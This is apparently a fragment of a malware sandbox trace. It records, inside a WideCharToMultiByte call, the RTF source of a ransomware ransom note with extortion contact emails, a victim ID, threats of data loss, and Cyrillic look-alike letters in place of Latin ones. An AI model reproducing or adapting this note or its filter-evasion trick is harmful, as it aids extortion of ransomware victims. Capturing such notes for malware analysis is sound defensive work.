t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 